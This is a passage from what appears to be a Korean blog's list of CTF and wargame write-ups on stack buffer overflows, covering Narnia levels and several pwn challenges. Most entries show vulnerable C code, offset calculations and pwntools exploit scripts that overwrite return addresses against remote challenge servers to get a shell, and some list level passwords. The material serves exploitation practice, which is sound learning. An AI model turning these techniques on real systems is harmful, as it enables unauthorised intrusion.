목록buffer (31)
ii4gsp
#include #include #include int main(int argc, char * argv[]){ char buf[128]; if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } strcpy(buf,argv[1]); printf("%s", buf); return 0; } 변수 buf가 128byte 할당되었고, buf ~ sfp = 132 이다. 132byte dummy를 주고 ret를 조작해주면된다. strcpy()함수에서 취약점이 발생한다. ret까지 덮어주고 스택 확인 0xffffd848을 ret로 잡고 페이로드 작성 Narnia3 = vaequeezee
#include int main(){ int (*ret)(); if(getenv("EGG")==NULL){ printf("Give me something to execute at the env-variable EGG\n"); exit(1); } printf("Trying to execute EGG!\n"); ret = getenv("EGG"); ret(); return 0; } EGG라는 이름의 환경변수에 쉘 코드를 넣어주면 된다. Narnia2 = nairiepecu
#include #include int main(){ long val=0x41414141; char buf[20]; printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n"); printf("Here is your chance: "); scanf("%24s",&buf); printf("buf: %s\n",buf); printf("val: 0x%08x\n",val); if(val==0xdeadbeef){ setreuid(geteuid(),geteuid()); system("/bin/sh"); } else { printf("WAY OFF!!!!\n"); exit(1); } return 0; } val이 0xdeadbeef면 쉘을 실행시킨다. scanf()..
IDA로 파일을 열어보면 main()함수에서 vuln()함수를 호출한다. get_n()함수로 nptr애 4byte만큼 입력할수있다. 입력한 4byte를 atoi()함수로 정수로 바꿔 v2에 저장한다. v2가 32보다 크면 return이 실행되고 프로그램이 종료된다. v2에 언더플로우를 일으키면 if문을 통과하게되고 get_n()함수로 ret를 덮을수있다. system - printf = 0xe6e0 system - "/bin/sh" = 0x11e6eb printf의 주소를 leak해서 실제주소를 알아내고, system()함수와 "/bin/sh"를 구해주면 된다. Exploit from pwn import * r = remote('ctf.j0n9hyun.xyz', 3019) e = ELF('/home/ii..
#include #include #include #include #include /* gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack */ void callMeMaybe(){ char *argv[] = { "/bin/bash", "-p", NULL }; execve(argv[0], argv, NULL); } int main(int argc, char **argv){ char buffer[256]; int len, i; scanf("%s", buffer); len = strlen(buffer); printf("Hello %s\n", buffer); return 0; } scanf()함수에서 취약점이 발생한다..
파일을 다운받아 주자. IDA로 열어보면 vuln()함수를 호출하고 인자값 18273645를 전달하고있다. vuln()함수를 보면 gets()함수로 입력을받고 a1이 12563478 이라면 result에 system("/bin/sh")를 저장하고 ret를 실행한다. s는 ebp-0x40에 위치하고 a1은 ebp+0x8에 위치한다. 즉, s ~ ret 72만큼 덮고 12563478을 리틀엔디언 방식으로 전달해주면 쉘을 획득할 수 있다. Exploit from pwn import * r = remote('52.79.224.215', 30007) payload = '' payload += '\x90' * 72 payload += p32(12563478) r.sendline(payload) r.interacti..
파일을 다운받아 주자. 파일을 IDA로 열어보면 이전 문제와 똑같다 gets()함수에서 취약점이 발생한다. s는 0x40만큼 할당되었다. 0x40은 64이다. s ~ sfp까지는 68이다. s ~ sfp 68byte를 덮어주고 ret를 get_flag()함수로 조작해주면 쉘을 획득할 수 있다. get_flag()함수의 주소는 0x08048556이다. Exploit from pwn import * r = remote('52.79.224.215', 30006) payload = '' payload += '\x90' * 68 payload += p32(0x08048556) r.sendline(payload) r.interactive()
파일을 다운받아 주자. 파일을 IDA로 열어보면 gets()함수에서 취약점이 발생한다는것을 알 수 있다. s는 0x14 즉, 10진수로 20만큼 할당되었고 sfp까지하면 24byte이다. s ~ sfp 만큼 24byte를 덮어주고 ret를 flag() 함수의 주소로 조작하면 쉘을 획득할 수 있다. flag()함수의 주소는 0x08048516 이다. Exploit from pwn import * r = remote('52.79.224.215', 30005) payload = '' payload += '\x90' * 24 payload += p32(0x08048516) r.recvuntil('>> ') r.sendline(payload) r.interactive()